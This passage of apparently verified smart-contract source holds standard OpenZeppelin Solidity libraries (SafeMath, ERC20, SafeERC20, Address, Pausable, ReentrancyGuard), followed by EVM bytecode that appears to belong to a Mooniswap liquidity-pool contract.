overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
0x6080604052600436106103135760003560e01c80637e82a6f31161019a578063d21220a7116100e1578063e331d0391161008a578063f1ea604211610064578063f1ea604214610e1a578063f2fde38b14610e2f578063f76d13b414610e6257610313565b8063e331d03914610d73578063e7ff42c914610dbd578063eaadf84814610df057610313565b8063d9a0c217116100bb578063d9a0c21714610d0e578063dd62ed3e14610d23578063ddca3f4314610d5e57610313565b8063d21220a714610c82578063d5bcb9b514610c97578063d7d3aab514610cdb57610313565b80639ea5ce0a11610143578063aa6ca8081161011d578063aa6ca80814610b8d578063b1ec4c4014610bdb578063c40d4d6614610c4f57610313565b80639ea5ce0a14610a9e578063a457c2d714610b1b578063a9059cbb14610b5457610313565b806395cad3c71161017457806395cad3c714610a2357806395d89b4114610a565780639aad141b14610a6b57610313565b80637e82a6f3146109c65780638da5cb5b146109f957806393028d8314610a0e57610313565b80633732b3941161025e5780635ed9156d1161020757806370a08231116101e157806370a0823114610945578063715018a61461097857806378e3214f1461098d57610313565b80635ed9156d146108a15780636669302a146108fd5780636edc2c091461091257610313565b806348d67e1b1161023857806348d67e1b146107ab5780634f64b2be146107c05780635915d806146107ea57610313565b80633732b3941461066057806339509351146106755780633c6216a6146106ae57610313565b806318160ddd116102c057806323e8cae11161029a57806323e8cae11461056a5780633049105d1461057f578063313ce5671461063557610313565b806318160ddd146104bd5780631e1401f8146104e457806323b872dd1461052757610313565b8063095ea7b3116102f1578063095ea7b3146104155780630dfe16811461046257806311212d661461049357610313565b80630146081f1461031857806306fdde031461035f57806307a80070146103e9575b600080fd5b34801561032457600080fd5b5061032d610e77565b604080516001600160681b03948516815292909316602083015265ffffffffffff168183015290519081900360600190f35b34801561036b57600080fd5b50610374610ea3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103ae578181015183820152602001610396565b50505050905090810190601f1680156103db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f557600080fd5b506104136004803603602081101561040c57600080fd5b5035610f39565b005b34801561042157600080fd5b5061044e6004803603604081101561043857600080fd5b506001600160a01b038135169060200135611061565b604080519115158252519081900360200190f35b34801561046e57600080fd5b5061047761107f565b604080516001600160a01b039092168252519081900360200190f35b34801561049f57600080fd5b50610413600480360360208110156104b657600080fd5b50356110a3565b3480156104c957600080fd5b506104d26111c7565b60408051918252519081900360200190f35b3480156104f057600080fd5b506104d26004803603606081101561050757600080fd5b506001600160a01b038135811691602081013590911690604001356111cd565b34801561053357600080fd5b5061044e6004803603606081101561054a57600080fd5b506001600160a01b03813581169160208101359091169060400135611206565b34801561057657600080fd5b5061032d61128d565b6105f36004803603608081101561059557600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201919091525050604080518082018252929594938181019392509060029083908390808284376000920191909152509194506112b99350505050565b6040518083815260200182600260200280838360005b83811015610621578181015183820152602001610609565b505050509050019250505060405180910390f35b34801561064157600080fd5b5061064a6112d9565b6040805160ff9092168252519081900360200190f35b34801561066c57600080fd5b506104d26112e2565b34801561068157600080fd5b5061044e6004803603604081101561069857600080fd5b506001600160a01b038135169060200135611330565b3480156106ba57600080fd5b50610770600480360360608110156106d157600080fd5b813591908101906040810160208201356401000000008111156106f357600080fd5b82018360208201111561070557600080fd5b8035906020019184602083028401116401000000008311171561072757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b0316915061137e9050565b6040518082600260200280838360005b83811015610798578181015183820152602001610780565b5050505090500191505060405180910390f35b3480156107b757600080fd5b506104d2611624565b3480156107cc57600080fd5b50610477600480360360208110156107e357600080fd5b503561166d565b3480156107f657600080fd5b506107706004803603604081101561080d57600080fd5b8135919081019060408101602082013564010000000081111561082f57600080fd5b82018360208201111561084157600080fd5b8035906020019184602083028401116401000000008311171561086357600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061171d945050505050565b3480156108ad57600080fd5b506108d4600480360360208110156108c457600080fd5b50356001600160a01b0316611730565b604080516001600160d81b03909316835264ffffffffff90911660208301528051918290030190f35b34801561090957600080fd5b5061041361175b565b34801561091e57600080fd5b506108d46004803603602081101561093557600080fd5b50356001600160a01b0316611789565b34801561095157600080fd5b506104d26004803603602081101561096857600080fd5b50356001600160a01b03166117b4565b34801561098457600080fd5b506104136117cf565b34801561099957600080fd5b50610413600480360360408110156109b057600080fd5b506001600160a01b03813516906020013561189b565b3480156109d257600080fd5b506104d2600480360360208110156109e957600080fd5b50356001600160a01b0316611b61565b348015610a0557600080fd5b50610477611b9c565b348015610a1a57600080fd5b50610413611bb0565b348015610a2f57600080fd5b506104d260048036036020811015610a4657600080fd5b50356001600160a01b0316611bdc565b348015610a6257600080fd5b50610374611c17565b348015610a7757600080fd5b506104d260048036036020811015610a8e57600080fd5b50356001600160a01b0316611c78565b6105f3600480360360a0811015610ab457600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201919091525050604080518082018252929594938181019392509060029083908390808284376000920191909152509194505050356001600160a01b03169050611cb3565b348015610b2757600080fd5b5061044e60048036036040811015610b3e57600080fd5b506001600160a01b038135169060200135612382565b348015610b6057600080fd5b5061044e60048036036040811015610b7757600080fd5b506001600160a01b0381351690602001356123ea565b348015610b9957600080fd5b50610ba26123fe565b60408051602080825283518183015283519192839290830191858101910280838360008315610621578181015183820152602001610609565b348015610be757600080fd5b50610c0e60048036036020811015610bfe57600080fd5b50356001600160a01b03166124bd565b60405180836fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b348015610c5b57600080fd5b5061041360048036036020811015610c7257600080fd5b50356001600160a01b03166124f9565b348015610c8e57600080fd5b506104776126ad565b6104d2600480360360a0811015610cad57600080fd5b506001600160a01b0381358116916020810135821691604082013591606081013591608090910135166126d1565b348015610ce757600080fd5b506104d260048036036020811015610cfe57600080fd5b50356001600160a01b03166126eb565b348015610d1a57600080fd5b50610477612761565b348015610d2f57600080fd5b506104d260048036036040811015610d4657600080fd5b506001600160a01b0381358116916020013516612770565b348015610d6a57600080fd5b506104d261279b565b6104d2600480360360c0811015610d8957600080fd5b506001600160a01b0381358116916020810135821691604082013591606081013591608082013581169160a00135166127e4565b348015610dc957600080fd5b506104d260048036036020811015610de057600080fd5b50356001600160a01b0316612b7d565b348015610dfc57600080fd5b5061041360048036036020811015610e1357600080fd5b5035612bf3565b348015610e2657600080fd5b5061032d612d68565b348015610e3b57600080fd5b5061041360048036036020811015610e5257600080fd5b50356001600160a01b0316612d94565b348015610e6e57600080fd5b50610413612ebc565b6010546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f2f5780601f10610f0457610100808354040283529160200191610f2f565b820191906000526020600020905b815481529060010190602001808311610f1257829003601f168201915b5050505050905090565b670de0b6b3a7640000811115610f96576040805162461bcd60e51b815260206004820152601d60248201527f536c6970706167652066656520766f746520697320746f6f2068696768000000604482015290519081900360640190fd5b336000818152600f602090815260409182902082519182019092529054815261105e9190610fc384612f46565b610fcc336117b4565b610fd46111c7565b600760009054906101000a90046001600160a01b03166001600160a01b03166323662bb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561102257600080fd5b505afa158015611036573d6000803e3d6000fd5b505050506040513d602081101561104c57600080fd5b5051600c959493929190612f65612fb8565b50565b600061107561106e612fd3565b8484612fd7565b5060015b92915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b662386f26fc100008111156110ff576040805162461bcd60e51b815260206004820152601460248201527f46656520766f746520697320746f6f2068696768000000000000000000000000604482015290519081900360640190fd5b336000818152600b602090815260409182902082519182019092529054815261105e919061112c84612f46565b611135336117b4565b61113d6111c7565b600760009054906101000a90046001600160a01b03166001600160a01b0316635a6c72d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561118b57600080fd5b505afa15801561119f573d6000803e3d6000fd5b505050506040513d60208110156111b557600080fd5b505160089594939291906130c3612fb8565b60025490565b60006111fc8484846111de886126eb565b6111e788612b7d565b6111ef61279b565b6111f76112e2565b613116565b90505b9392505050565b6000611213848484613257565b6112838461121f612fd3565b61127e85604051806060016040528060288152602001615246602891396001600160a01b038a1660009081526001602052604081209061125d612fd3565b6001600160a01b0316815260208101919091526040016000205491906133b2565b612fd7565b5060019392505050565b600c546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b60006112c36150ab565b6112ce848433611cb3565b915091509250929050565b60055460ff1690565b60408051606081018252600c546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b905090565b600061107561133d612fd3565b8461127e856001600061134e612fd3565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906134cc565b6113866150ab565b600260065414156113de576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026006556113eb6150ab565b50604080518082019091526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811682527f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c16602082015260006114546111c7565b90506000611460611624565b905061146c3388613526565b60005b60028110156115c157600084826002811061148657fe5b6020020151905060006114a26001600160a01b03831630613622565b905060006114ba866114b4848e6136c3565b9061371c565b90506114d06001600160a01b0384168a8361375e565b808885600281106114dd57fe5b602002015289518410158061150557508984815181106114f957fe5b60200260200101518110155b611556576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a20726573756c74206973206e6f7420656e6f75676800604482015290519081900360640190fd5b6115868583611565898f6137c7565b6001600160a01b03871660009081526015602052604090209291908a613809565b6115b68583611595898f6137c7565b6001600160a01b03871660009081526016602052604090209291908a613809565b50505060010161146f565b508351602080860151604080518b8152928301939093528183015290516001600160a01b0387169133917f3cae9923fd3c2f468aa25a8ef687923e37f957459557c0380fd06526c0b8cdbc9181900360600190a350506001600655509392505050565b604080516060810182526010546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b60008161169b57507f0000000000000000000000000000000000000000000000000000000000000000611718565b81600114156116cb57507f00000000000000000000000077777feddddffc19ff86db637967013e6c6a116c611718565b6040805162461bcd60e51b815260206004820152601360248201527f506f6f6c206861732074776f20746f6b656e7300000000000000000000000000604482015290519081900360640190fd5b919050565b6117256150ab565b6111ff